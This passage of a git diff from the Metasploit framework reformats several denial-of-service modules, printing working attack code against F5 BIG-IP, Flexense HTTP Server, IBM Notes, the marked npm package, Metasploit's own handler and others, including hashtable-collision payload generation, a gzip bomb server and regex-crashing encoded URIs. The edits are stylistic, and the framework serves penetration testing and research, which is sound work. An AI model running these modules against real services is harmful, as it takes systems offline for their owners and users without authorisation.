=~ /BIG-IP/ || server =~ /BigIP/ || force_attack + print_error('BigIP virtual server was not detected. Please check options') return end - print_status("Starting DoS attack") + print_status('Starting DoS attack') # Start attack + success = false limit.times do |step| if step % 100 == 0 print_status("#{step * 100 / limit}% accomplished...") end + res = send_request_cgi('method' => 'GET', 'uri' => '/') - if res && res.headers['Location'] =~ /\/my\.logout\.php3\?errorcode=14/ - print_good("DoS accomplished: The maximum number of concurrent user sessions has been reached.") - return + if res && res.headers['Location'] =~ %r{/my\.logout\.php3\?errorcode=14} + success = true + break end end + if success + print_good('DoS accomplished: The maximum number of concurrent user sessions has been reached.') + return + end + # Check if attack has failed res = send_request_cgi('method' => 'GET', 'uri' => uri) - if res.headers['Location'] =~ /\/my.policy/ - print_error("DoS attack failed. Try to increase the RLIMIT") + if res.headers['Location'] =~ %r{/my.policy} + print_error('DoS attack failed. Try to increase the RLIMIT') else - print_status("Result is undefined. Try to manually determine DoS attack result") + print_status('Result is undefined. Try to manually determine DoS attack result') end - - rescue ::Errno::ECONNRESET - print_error("The connection was reset. Maybe BigIP 'Max In Progress Sessions Per Client IP' counter was reached") - rescue ::Rex::ConnectionRefused - print_error("Unable to connect to BigIP") - rescue ::Rex::ConnectionTimeout - print_error("Unable to connect to BigIP. Please check options") - rescue ::OpenSSL::SSL::SSLError - print_error("SSL/TLS connection error") + rescue ::Errno::ECONNRESET + print_error("The connection was reset. Maybe BigIP 'Max In Progress Sessions Per Client IP' counter was reached") + rescue ::Rex::ConnectionRefused + print_error('Unable to connect to BigIP') + rescue ::Rex::ConnectionTimeout + print_error('Unable to connect to BigIP. Please check options') + rescue ::OpenSSL::SSL::SSLError + print_error('SSL/TLS connection error') end end diff --git a/modules/auxiliary/dos/http/flexense_http_server_dos.rb b/modules/auxiliary/dos/http/flexense_http_server_dos.rb index d3381df94197a..5faae6bb1002a 100644 --- a/modules/auxiliary/dos/http/flexense_http_server_dos.rb +++ b/modules/auxiliary/dos/http/flexense_http_server_dos.rb @@ -8,50 +8,56 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp def initialize(info = {}) - super(update_info(info, - 'Name' => 'Flexense HTTP Server Denial Of Service', - 'Description' => %q{ - This module triggers a Denial of Service vulnerability in the Flexense HTTP server. - Vulnerability caused by a user mode write access memory violation and can be triggered with - rapidly sending variety of HTTP requests with long HTTP header values. + super( + update_info( + info, + 'Name' => 'Flexense HTTP Server Denial Of Service', + 'Description' => %q{ + This module triggers a Denial of Service vulnerability in the Flexense HTTP server. + Vulnerability caused by a user mode write access memory violation and can be triggered with + rapidly sending variety of HTTP requests with long HTTP header values. - Multiple Flexense applications that are using Flexense HTTP server 10.6.24 and below versions reportedly vulnerable. - }, - 'Author' => [ 'Ege Balci ' ], - 'License' => MSF_LICENSE, - 'References' => - [ + Multiple Flexense applications that are using Flexense HTTP server 10.6.24 and below versions reportedly vulnerable. + }, + 'Author' => [ 'Ege Balci ' ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2018-8065'], [ 'URL', 'https://github.com/EgeBalci/Sync_Breeze_Enterprise_10_6_24_-DOS' ], ], - 'DisclosureDate' => '2018-03-09')) + 'DisclosureDate' => '2018-03-09', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( [ Opt::RPORT(80), - OptString.new('PacketCount', [ true, "The number of packets to be sent (Recommended: Above 1725)" , 1725 ]), - OptString.new('PacketSize', [ true, "The number of bytes in the Accept header (Recommended: 4088-5090" , rand(4088..5090) ]) - ]) - + OptString.new('PacketCount', [ true, 'The number of packets to be sent (Recommended: Above 1725)', 1725 ]), + OptString.new('PacketSize', [ true, 'The number of bytes in the Accept header (Recommended: 4088-5090', rand(4088..5090) ]) + ] + ) end def check - begin - connect - sock.put("GET / HTTP/1.0\r\n\r\n") - res = sock.get - if res and res.include? 'Flexense HTTP Server v10.6.24' - Exploit::CheckCode::Appears - else - Exploit::CheckCode::Safe - end - rescue Rex::ConnectionRefused - print_error("Target refused the connection") - Exploit::CheckCode::Unknown - rescue - print_error("Target did not respond to HTTP request") - Exploit::CheckCode::Unknown + connect + sock.put("GET / HTTP/1.0\r\n\r\n") + res = sock.get + if res && res.include?('Flexense HTTP Server v10.6.24') + Exploit::CheckCode::Appears + else + Exploit::CheckCode::Safe end + rescue Rex::ConnectionRefused + print_error('Target refused the connection') + Exploit::CheckCode::Unknown + rescue StandardError + print_error('Target did not respond to HTTP request') + Exploit::CheckCode::Unknown end def run @@ -64,17 +70,17 @@ def run count = 0 loop do - payload = "" - payload << "GET /" + Rex::Text.rand_text_alpha(rand(30)) + " HTTP/1.1\r\n" + payload = '' + payload << 'GET /' + Rex::Text.rand_text_alpha(1..30) + " HTTP/1.1\r\n" payload << "Host: 127.0.0.1\r\n" - payload << "Accept: "+('A' * size)+"\r\n" + payload << 'Accept: ' + ('A' * size) + "\r\n" payload << "\r\n\r\n" begin connect sock.put(payload) disconnect count += 1 - break if count==datastore['PacketCount'] + break if count == datastore['PacketCount'] rescue ::Rex::InvalidDestination print_error('Invalid destination! Continuing...') rescue ::Rex::ConnectionTimeout diff --git a/modules/auxiliary/dos/http/gzip_bomb_dos.rb b/modules/auxiliary/dos/http/gzip_bomb_dos.rb index c5540a9d710a9..6eefd8c6c1892 100644 --- a/modules/auxiliary/dos/http/gzip_bomb_dos.rb +++ b/modules/auxiliary/dos/http/gzip_bomb_dos.rb @@ -10,40 +10,45 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) - super(update_info(info, - 'Name' => 'Gzip Memory Bomb Denial Of Service', - 'Description' => %q{ - This module generates and hosts a 10MB single-round gzip file that decompresses to 10GB. - Many applications will not implement a length limit check and will eat up all memory and - eventually die. This can also be used to kill systems that download/parse content from - a user-provided URL (image-processing servers, AV, websites that accept zipped POST data, etc). + super( + update_info( + info, + 'Name' => 'Gzip Memory Bomb Denial Of Service', + 'Description' => %q{ + This module generates and hosts a 10MB single-round gzip file that decompresses to 10GB. + Many applications will not implement a length limit check and will eat up all memory and + eventually die. This can also be used to kill systems that download/parse content from + a user-provided URL (image-processing servers, AV, websites that accept zipped POST data, etc). - A FILEPATH datastore option can also be provided to save the .gz bomb locally. + A FILEPATH datastore option can also be provided to save the .gz bomb locally. - Some clients (Firefox) will allow for multiple rounds of gzip. Most gzip utils will correctly - deflate multiple rounds of gzip on a file. Setting ROUNDS=3 and SIZE=10240 (default value) - will generate a 300 byte gzipped file that expands to 10GB. - }, - 'Author' => - [ + Some clients (Firefox) will allow for multiple rounds of gzip. Most gzip utils will correctly + deflate multiple rounds of gzip on a file. Setting ROUNDS=3 and SIZE=10240 (default value) + will generate a 300 byte gzipped file that expands to 10GB. + }, + 'Author' => [ 'info[at]aerasec.de', # 2004 gzip bomb advisory - 'joev' # Metasploit module + 'joev' # Metasploit module ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ [ 'URL', 'http://www.aerasec.de/security/advisories/decompression-bomb-vulnerability.html' ] ], - 'DisclosureDate' => '2004-01-01', - 'Actions' => - [ - [ 'WebServer', 'Description' => 'Host file via web server' ] + 'DisclosureDate' => '2004-01-01', + 'Actions' => [ + [ 'WebServer', { 'Description' => 'Host file via web server' } ] ], - 'PassiveActions' => - [ + 'PassiveActions' => [ 'WebServer' ], - 'DefaultAction' => 'WebServer')) + 'DefaultAction' => 'WebServer', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( [ @@ -51,8 +56,8 @@ def initialize(info = {}) OptInt.new('ROUNDS', [true, 'Rounds of gzip compression. Some applications (FF) support > 1.', 1]), OptString.new('URIPATH', [false, 'Path of URI on server to the gzip bomb (default is random)']), OptString.new('CONTENT_TYPE', [false, 'Content-Type header to serve in the response', 'text/html']) - ], - self.class) + ] + ) end def run @@ -62,32 +67,32 @@ def run exploit # start http server end - def on_request_uri(cli, request) + def on_request_uri(cli, _request) print_status "Sending gzipped payload to client #{cli.peerhost}" - rounds = (['gzip']*datastore['ROUNDS']).join(', ') + rounds = (['gzip'] * datastore['ROUNDS']).join(', ') send_response(cli, @gzip, { 'Content-Encoding' => rounds, 'Content-Type' => datastore['CONTENT_TYPE'] }) end # zlib ftw - def generate_gzip(size=default_size, blocks=nil, reps=nil) + def generate_gzip(size = default_size, blocks = nil, reps = nil) reps ||= datastore['ROUNDS'] return blocks if reps < 1 - print_status "Generating gzip bomb..." + print_status 'Generating gzip bomb...' StringIO.open do |io| stream = Zlib::GzipWriter.new(io, Zlib::BEST_COMPRESSION, Zlib::DEFAULT_STRATEGY) buf = nil begin # add MB of data to the stream. this takes a little while, but doesn't kill memory. if blocks.nil? - chunklen = 1024*1024*8 # 8mb per chunk - a = "A"*chunklen + chunklen = 1024 * 1024 * 8 # 8mb per chunk + a = 'A' * chunklen n = size / chunklen n.times do |i| stream << a if i % 100 == 0 - print_status "#{i.to_s.rjust(Math.log(n,10).ceil)}/#{n} chunks added (#{'%.1f' % (i.to_f/n.to_f*100)}%)" + print_status "#{i.to_s.rjust(Math.log(n, 10).ceil)}/#{n} chunks added (#{'%.1f' % (i.to_f / n.to_f * 100)}%)" end end else @@ -95,7 +100,7 @@ def generate_gzip(size=default_size, blocks=nil, reps=nil) end a = nil # gc a - buf = generate_gzip(size, io.string, reps-1) + buf = generate_gzip(size, io.string, reps - 1) ensure stream.flush stream.close @@ -105,6 +110,6 @@ def generate_gzip(size=default_size, blocks=nil, reps=nil) end def default_size - datastore['SIZE']*1024*1024 # mb -> bytes + datastore['SIZE'] * 1024 * 1024 # mb -> bytes end end diff --git a/modules/auxiliary/dos/http/hashcollision_dos.rb b/modules/auxiliary/dos/http/hashcollision_dos.rb index 018e513e7a581..f93f00b20912b 100644 --- a/modules/auxiliary/dos/http/hashcollision_dos.rb +++ b/modules/auxiliary/dos/http/hashcollision_dos.rb @@ -8,21 +8,22 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Hashtable Collisions', - 'Description' => %q{ - This module uses a denial-of-service (DoS) condition appearing in a variety of - programming languages. This vulnerability occurs when storing multiple values - in a hash table and all values have the same hash value. This can cause a web server - parsing the POST parameters issued with a request into a hash table to consume - hours of CPU with a single HTTP request. - - Currently, only the hash functions for PHP and Java are implemented. - This module was tested with PHP + httpd, Tomcat, Glassfish and Geronimo. - It also generates a random payload to bypass some IDS signatures. - }, - 'Author' => - [ + super( + update_info( + info, + 'Name' => 'Hashtable Collisions', + 'Description' => %q{ + This module uses a denial-of-service (DoS) condition appearing in a variety of + programming languages. This vulnerability occurs when storing multiple values + in a hash table and all values have the same hash value. This can cause a web server + parsing the POST parameters issued with a request into a hash table to consume + hours of CPU with a single HTTP request. + + Currently, only the hash functions for PHP and Java are implemented. + This module was tested with PHP + httpd, Tomcat, Glassfish and Geronimo. + It also generates a random payload to bypass some IDS signatures. + }, + 'Author' => [ 'Alexander Klink', # advisory 'Julian Waelde', # advisory 'Scott A. Crosby', # original advisory @@ -30,9 +31,8 @@ def initialize(info = {}) 'Krzysztof Kotowicz', # payload generator 'Christian Mehlmauer' # metasploit module ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ ['URL', 'http://ocert.org/advisories/ocert-2011-003.html'], ['URL', 'https://web.archive.org/web/20120105151644/http://www.nruns.com/_downloads/advisory28122011.pdf'], ['URL', 'https://fahrplan.events.ccc.de/congress/2011/Fahrplan/events/4680.en.html'], @@ -43,24 +43,32 @@ def initialize(info = {}) ['CVE', '2011-4885'], ['CVE', '2011-4858'] ], - 'DisclosureDate'=> '2011-12-28' - )) + 'DisclosureDate' => '2011-12-28', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( - [ - OptEnum.new('TARGET', [ true, 'Target to attack', nil, ['PHP','Java']]), - OptString.new('URL', [ true, "The request URI", '/' ]), - OptInt.new('RLIMIT', [ true, "Number of requests to send", 50 ]) - ]) + [ + OptEnum.new('TARGET', [ true, 'Target to attack', nil, ['PHP', 'Java']]), + OptString.new('URL', [ true, 'The request URI', '/' ]), + OptInt.new('RLIMIT', [ true, 'Number of requests to send', 50 ]) + ] + ) register_advanced_options( - [ - OptInt.new('RecursiveMax', [false, "Maximum recursions when searching for collisionchars", 15]), - OptInt.new('MaxPayloadSize', [false, "Maximum size of the Payload in Megabyte. Autoadjust if 0", 0]), - OptInt.new('CollisionChars', [false, "Number of colliding chars to find", 5]), - OptInt.new('CollisionCharLength', [false, "Length of the collision chars (2 = Ey, FZ; 3=HyA, ...)", 2]), - OptInt.new('PayloadLength', [false, "Length of each parameter in the payload", 8]) - ]) + [ + OptInt.new('RecursiveMax', [false, 'Maximum recursions when searching for collisionchars', 15]), + OptInt.new('MaxPayloadSize', [false, 'Maximum size of the Payload in Megabyte. Autoadjust if 0', 0]), + OptInt.new('CollisionChars', [false, 'Number of colliding chars to find', 5]), + OptInt.new('CollisionCharLength', [false, 'Length of the collision chars (2 = Ey, FZ; 3=HyA, ...)', 2]), + OptInt.new('PayloadLength', [false, 'Length of each parameter in the payload', 8]) + ] + ) end def generate_payload @@ -69,17 +77,17 @@ def generate_payload @recursive_counter = 1 collision_chars = compute_collision_chars - return nil if collision_chars == nil + return nil if collision_chars.nil? length = datastore['PayloadLength'] size = collision_chars.length - post = "" - max_value_float = size ** length + post = '' + max_value_float = size**length max_value_int = max_value_float.floor print_status("#{rhost}:#{rport} - Generating POST data...") for i in 0.upto(max_value_int) input_string = i.to_s(size) - result = input_string.rjust(length, "0") + result = input_string.rjust(length, '0') collision_chars.each do |key, value| result = result.gsub(key, value) end @@ -99,7 +107,7 @@ def compute_collision_chars end # Generate all possible strings source = a - for i in Range.new(1,length-1) + for _ in Range.new(1, length - 1) source = source.product(a) end source = source.map(&:join) @@ -107,15 +115,16 @@ def compute_collision_chars base_str = source.sample base_hash = @function.call(base_str) hashes[counter.to_s] = base_str - counter = counter + 1 + counter += 1 for item in source if item == base_str next end + if @function.call(item) == base_hash # Hooray we found a matching hash hashes[counter.to_s] = item - counter = counter + 1 + counter += 1 end if counter >= datastore['CollisionChars'] break @@ -128,14 +137,14 @@ def compute_collision_chars return nil end print_status("#{rhost}:#{rport} - #{@recursive_counter}: Not enough values found. Trying again...") - @recursive_counter = @recursive_counter + 1 + @recursive_counter += 1 hashes = compute_collision_chars else print_status("#{rhost}:#{rport} - Found values:") hashes.each_value do |item| print_status("#{rhost}:#{rport} -\tValue: #{item}\tHash: #{@function.call(item)}") item.each_char do |c| - print_status("#{rhost}:#{rport} -\t\tValue: #{c}\tCharcode: #{c.unpack("C")}") + print_status("#{rhost}:#{rport} -\t\tValue: #{c}\tCharcode: #{c.unpack('C')}") end end end @@ -147,8 +156,8 @@ def djbxa(input_string, base, start) counter = input_string.length - 1 result = start input_string.each_char do |item| - result = result + ((base ** counter) * item.ord) - counter = counter - 1 + result += ((base**counter) * item.ord) + counter -= 1 end return result.round end @@ -165,47 +174,48 @@ def djbx31a(input_string) def run case datastore['TARGET'] - when /PHP/ - @function = method(:djbx33a) - @char_range = Range.new(0, 255) - if (datastore['MaxPayloadSize'] <= 0) - datastore['MaxPayloadSize'] = 8 # XXX: Refactor - end - when /Java/ - @function = method(:djbx31a) - @char_range = Range.new(0, 128) - if (datastore['MaxPayloadSize'] <= 0) - datastore['MaxPayloadSize'] = 2 # XXX: Refactor - end - else - raise RuntimeError, "Target #{datastore['TARGET']} not supported" + when /PHP/ + @function = method(:djbx33a) + @char_range = Range.new(0, 255) + if (datastore['MaxPayloadSize'] <= 0) + datastore['MaxPayloadSize'] = 8 # XXX: Refactor + end + when /Java/ + @function = method(:djbx31a) + @char_range = Range.new(0, 128) + if (datastore['MaxPayloadSize'] <= 0) + datastore['MaxPayloadSize'] = 2 # XXX: Refactor + end + else + raise "Target #{datastore['TARGET']} not supported" end print_status("#{rhost}:#{rport} - Generating payload...") payload = generate_payload - return if payload == nil + return if payload.nil? + # trim to maximum payload size (in MB) - max_in_mb = datastore['MaxPayloadSize']*1024*1024 - payload = payload[0,max_in_mb] + max_in_mb = datastore['MaxPayloadSize'] * 1024 * 1024 + payload = payload[0, max_in_mb] # remove last invalid(cut off) parameter - position = payload.rindex("=&") - payload = payload[0,position+1] + position = payload.rindex('=&') + payload = payload[0, position + 1] print_status("#{rhost}:#{rport} -Payload generated") for x in 1..datastore['RLIMIT'] print_status("#{rhost}:#{rport} - Sending request ##{x}...") opts = { 'method' => 'POST', - 'uri' => normalize_uri(datastore['URL']), - 'data' => payload + 'uri' => normalize_uri(datastore['URL']), + 'data' => payload } begin c = connect r = c.request_cgi(opts) c.send_request(r) # Don't wait for a response, can take hours - rescue ::Rex::ConnectionError => exception - print_error("#{rhost}:#{rport} - Unable to connect: '#{exception.message}'") + rescue ::Rex::ConnectionError => e + print_error("#{rhost}:#{rport} - Unable to connect: '#{e.message}'") return ensure disconnect(c) if c diff --git a/modules/auxiliary/dos/http/ibm_lotus_notes.rb b/modules/auxiliary/dos/http/ibm_lotus_notes.rb index cb0b594863d7c..c6e6dd81bff04 100644 --- a/modules/auxiliary/dos/http/ibm_lotus_notes.rb +++ b/modules/auxiliary/dos/http/ibm_lotus_notes.rb @@ -10,24 +10,29 @@ def initialize(info = {}) super( update_info( info, - 'Name' => "IBM Notes encodeURI DOS", - 'Description' => %q( + 'Name' => 'IBM Notes encodeURI DOS', + 'Description' => %q{ This module exploits a vulnerability in the native browser that comes with IBM Lotus Notes. If successful, it could cause the Notes client to hang and have to be restarted. - ), - 'License' => MSF_LICENSE, - 'Author' => [ + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Dhiraj Mishra', ], - 'References' => [ + 'References' => [ [ 'EDB', '42602'], [ 'CVE', '2017-1129' ], [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21999385' ] ], 'DisclosureDate' => '2017-08-31', - 'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]], + 'Actions' => [[ 'WebServer', { 'Description' => 'Serve exploit via web server' } ]], 'PassiveActions' => [ 'WebServer' ], - 'DefaultAction' => 'WebServer' + 'DefaultAction' => 'WebServer', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } ) ) end diff --git a/modules/auxiliary/dos/http/ibm_lotus_notes2.rb b/modules/auxiliary/dos/http/ibm_lotus_notes2.rb index 887bcb3fc7b47..df216ee613543 100644 --- a/modules/auxiliary/dos/http/ibm_lotus_notes2.rb +++ b/modules/auxiliary/dos/http/ibm_lotus_notes2.rb @@ -10,23 +10,28 @@ def initialize(info = {}) super( update_info( info, - 'Name' => "IBM Notes Denial Of Service", - 'Description' => %q( + 'Name' => 'IBM Notes Denial Of Service', + 'Description' => %q{ This module exploits a vulnerability in the native browser that comes with IBM Lotus Notes. If successful, the browser will crash after viewing the webpage. - ), - 'License' => MSF_LICENSE, - 'Author' => [ + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Dhiraj Mishra', ], - 'References' => [ + 'References' => [ ['EDB', '42604'], [ 'CVE', '2017-1130' ] ], 'DisclosureDate' => '2017-08-31', - 'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]], + 'Actions' => [[ 'WebServer', { 'Description' => 'Serve exploit via web server' } ]], 'PassiveActions' => [ 'WebServer' ], - 'DefaultAction' => 'WebServer' + 'DefaultAction' => 'WebServer', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } ) ) end diff --git a/modules/auxiliary/dos/http/marked_redos.rb b/modules/auxiliary/dos/http/marked_redos.rb index 7145bd6ce9f18..6032c604a4be3 100644 --- a/modules/auxiliary/dos/http/marked_redos.rb +++ b/modules/auxiliary/dos/http/marked_redos.rb @@ -8,27 +8,33 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'marked npm module "heading" ReDoS', - 'Description' => %q{ - This module exploits a Regular Expression Denial of Service vulnerability - in the npm module "marked". The vulnerable portion of code that this module - targets is in the "heading" regular expression. Web applications that use - "marked" for generating html from markdown are vulnerable. Versions up to - 0.4.0 are vulnerable. - }, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'marked npm module "heading" ReDoS', + 'Description' => %q{ + This module exploits a Regular Expression Denial of Service vulnerability + in the npm module "marked". The vulnerable portion of code that this module + targets is in the "heading" regular expression. Web applications that use + "marked" for generating html from markdown are vulnerable. Versions up to + 0.4.0 are vulnerable. + }, + 'References' => [ ['URL', 'https://blog.sonatype.com/cve-2017-17461-vulnerable-or-not'], ['CWE', '400'] ], - 'Author' => - [ + 'Author' => [ 'Adam Cazzolla, Sonatype Security Research', 'Nick Starke, Sonatype Security Research' ], - 'License' => MSF_LICENSE - )) + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options([ Opt::RPORT(80), @@ -48,70 +54,64 @@ def run end def trigger_redos - begin - print_status("Sending ReDoS request to #{peer}.") + print_status("Sending ReDoS request to #{peer}.") - params = { - 'uri' => normalize_uri(target_uri.path), - 'method' => datastore['HTTP_METHOD'], - ("vars_#{datastore['HTTP_METHOD'].downcase}") => { - datastore['HTTP_PARAMETER'] => "# #" + (" " * 20 * 1024) + Rex::Text.rand_text_alpha(1) - } + params = { + 'uri' => normalize_uri(target_uri.path), + 'method' => datastore['HTTP_METHOD'], + "vars_#{datastore['HTTP_METHOD'].downcase}" => { + datastore['HTTP_PARAMETER'] => '# #' + (' ' * 20 * 1024) + Rex::Text.rand_text_alpha(1) } + } - res = send_request_cgi(params) - - if res - fail_with(Failure::Unknown, "ReDoS request unsuccessful. Received status #{res.code} from #{peer}.") - end + res = send_request_cgi(params) - print_status("No response received from #{peer}, service is most likely unresponsive.") - rescue ::Rex::ConnectionRefused - print_error("Unable to connect to #{peer}.") - rescue ::Timeout::Error - print_status("No HTTP response received from #{peer}, this indicates the payload was successful.") + if res + fail_with(Failure::Unknown, "ReDoS request unsuccessful. Received status #{res.code} from #{peer}.") end + + print_status("No response received from #{peer}, service is most likely unresponsive.") + rescue ::Rex::ConnectionRefused + print_error("Unable to connect to #{peer}.") + rescue ::Timeout::Error + print_status("No HTTP response received from #{peer}, this indicates the payload was successful.") end def test_service_unresponsive - begin - print_status('Testing for service unresponsiveness.') + print_status('Testing for service unresponsiveness.') - res = send_request_cgi({ - 'uri' => '/' + Rex::Text.rand_text_alpha(8), - 'method' => 'GET' - }) + res = send_request_cgi({ + 'uri' => '/' + Rex::Text.rand_text_alpha(8), + 'method' => 'GET' + }) - if res.nil? - print_good('Service not responding.') - else - print_error('Service responded with a valid HTTP Response; ReDoS attack failed.') - end - rescue ::Rex::ConnectionRefused - print_error('An unknown error occurred.') - rescue ::Timeout::Error - print_good('HTTP request timed out, most likely the ReDoS attack was successful.') + if res.nil? + print_good('Service not responding.') + else + print_error('Service responded with a valid HTTP Response; ReDoS attack failed.') end + rescue ::Rex::ConnectionRefused + print_error('An unknown error occurred.') + rescue ::Timeout::Error + print_good('HTTP request timed out, most likely the ReDoS attack was successful.') end def test_service - begin - print_status('Testing Service to make sure it is working.') + print_status('Testing Service to make sure it is working.') - res = send_request_cgi({ - 'uri' => '/' + Rex::Text.rand_text_alpha(8), - 'method' => 'GET' - }) + res = send_request_cgi({ + 'uri' => '/' + Rex::Text.rand_text_alpha(8), + 'method' => 'GET' + }) - if res && res.code >= 100 && res.code < 500 - print_status("Test request successful, attempting to send payload. Server returned #{res.code}") - return true - else - return false - end - rescue ::Rex::ConnectionRefused - print_error("Unable to connect to #{peer}.") + if res && res.code >= 100 && res.code < 500 + print_status("Test request successful, attempting to send payload. Server returned #{res.code}") + return true + else return false end + rescue ::Rex::ConnectionRefused + print_error("Unable to connect to #{peer}.") + return false end end diff --git a/modules/auxiliary/dos/http/metasploit_httphandler_dos.rb b/modules/auxiliary/dos/http/metasploit_httphandler_dos.rb index 88dc909267034..1483cd55fc3d4 100644 --- a/modules/auxiliary/dos/http/metasploit_httphandler_dos.rb +++ b/modules/auxiliary/dos/http/metasploit_httphandler_dos.rb @@ -8,99 +8,105 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Metasploit HTTP(S) handler DoS', - 'Description' => %q{ - This module exploits the Metasploit HTTP(S) handler by sending - a specially crafted HTTP request that gets added as a resource handler. - Resources (which come from the external connections) are evaluated as RegEx - in the handler server. Specially crafted input can trigger Gentle, Soft and Hard DoS. - - Tested against Metasploit 5.0.20. - }, - 'Author' => [ - 'Jose Garduno, Dreamlab Technologies AG', #Vulnerability Discovery, Metasploit module. - 'Angelo Seiler, Dreamlab Technologies AG', #Additional research, debugging. - ], - 'License' => MSF_LICENSE, - 'References' => [ - ['CVE', '2019-5645'] - ], - 'DisclosureDate' => '2019-09-04' - )) + super( + update_info( + info, + 'Name' => 'Metasploit HTTP(S) handler DoS', + 'Description' => %q{ + This module exploits the Metasploit HTTP(S) handler by sending + a specially crafted HTTP request that gets added as a resource handler. + Resources (which come from the external connections) are evaluated as RegEx + in the handler server. Specially crafted input can trigger Gentle, Soft and Hard DoS. + + Tested against Metasploit 5.0.20. + }, + 'Author' => [ + 'Jose Garduno, Dreamlab Technologies AG', # Vulnerability Discovery, Metasploit module. + 'Angelo Seiler, Dreamlab Technologies AG', # Additional research, debugging. + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2019-5645'] + ], + 'DisclosureDate' => '2019-09-04', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( - [ - OptEnum.new('DOSTYPE', [true, 'Type of DoS to trigger', 'HARD', %w[GENTLE SOFT HARD]]) - ]) + [ + OptEnum.new('DOSTYPE', [true, 'Type of DoS to trigger', 'HARD', %w[GENTLE SOFT HARD]]) + ] + ) end def test_service_unresponsive - begin - print_status('Testing for service unresponsiveness.') + print_status('Testing for service unresponsiveness.') - res = send_request_cgi({ - 'uri' => '/' + Rex::Text.rand_text_alpha(8), - 'method' => 'GET' - }) + res = send_request_cgi({ + 'uri' => '/' + Rex::Text.rand_text_alpha(8), + 'method' => 'GET' + }) - if res.nil? - print_good('SUCCESS, Service not responding.') - else - print_error('Service responded with a valid HTTP Response; Attack failed.') - end - rescue ::Rex::ConnectionRefused - print_error('An unknown error occurred.') - rescue ::Timeout::Error - print_good('HTTP request timed out, most likely the ReDoS attack was successful.') + if res.nil? + print_good('SUCCESS, Service not responding.') + else + print_error('Service responded with a valid HTTP Response; Attack failed.') end + rescue ::Rex::ConnectionRefused + print_error('An unknown error occurred.') + rescue ::Timeout::Error + print_good('HTTP request timed out, most likely the ReDoS attack was successful.') end - def dos case datastore['DOSTYPE'] - when "HARD" - resone = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri("/%2f%26%28%21%7c%23%2b%29%2b%40%32%30") + when 'HARD' + send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri('/%2f%26%28%21%7c%23%2b%29%2b%40%32%30') ) begin - restwo = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri("/%26%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%21") + send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri('/%26%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%21') ) rescue ::Errno::EPIPE, ::Timeout::Error # Same exceptions the HttpClient mixin catches end test_service_unresponsive - when "SOFT" - resone = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri("/%5b20") + when 'SOFT' + send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri('/%5b20') ) test_service_unresponsive - when "GENTLE" - resone = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri("/%2e%2a%7c%32%30%7c%5c") + when 'GENTLE' + send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri('/%2e%2a%7c%32%30%7c%5c') ) sleep(1) - restwo = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri("/whatever") + send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri('/whatever') ) resthree = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri("/whatever2") + 'method' => 'GET', + 'uri' => normalize_uri('/whatever2') ) - if resthree.body.length == 0 + if resthree.body.empty? print_good('SUCCESS, Service not responding.') else print_error('Service responded with a valid HTTP Response; Attack failed.') @@ -110,7 +116,7 @@ def dos fail_with Failure::BadConfig, 'Invalid DOSTYPE selected' end - print_status("DOS request sent") + print_status('DOS request sent') end def is_alive? diff --git a/modules/auxiliary/dos/http/monkey_headers.rb b/modules/auxiliary/dos/http/monkey_headers.rb index b00561c19b6c1..79b0cae2d8cd8 100644 --- a/modules/auxiliary/dos/http/monkey_headers.rb +++ b/modules/auxiliary/dos/http/monkey_headers.rb @@ -8,29 +8,37 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Monkey HTTPD Header Parsing Denial of Service (DoS)', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Monkey HTTPD Header Parsing Denial of Service (DoS)', + 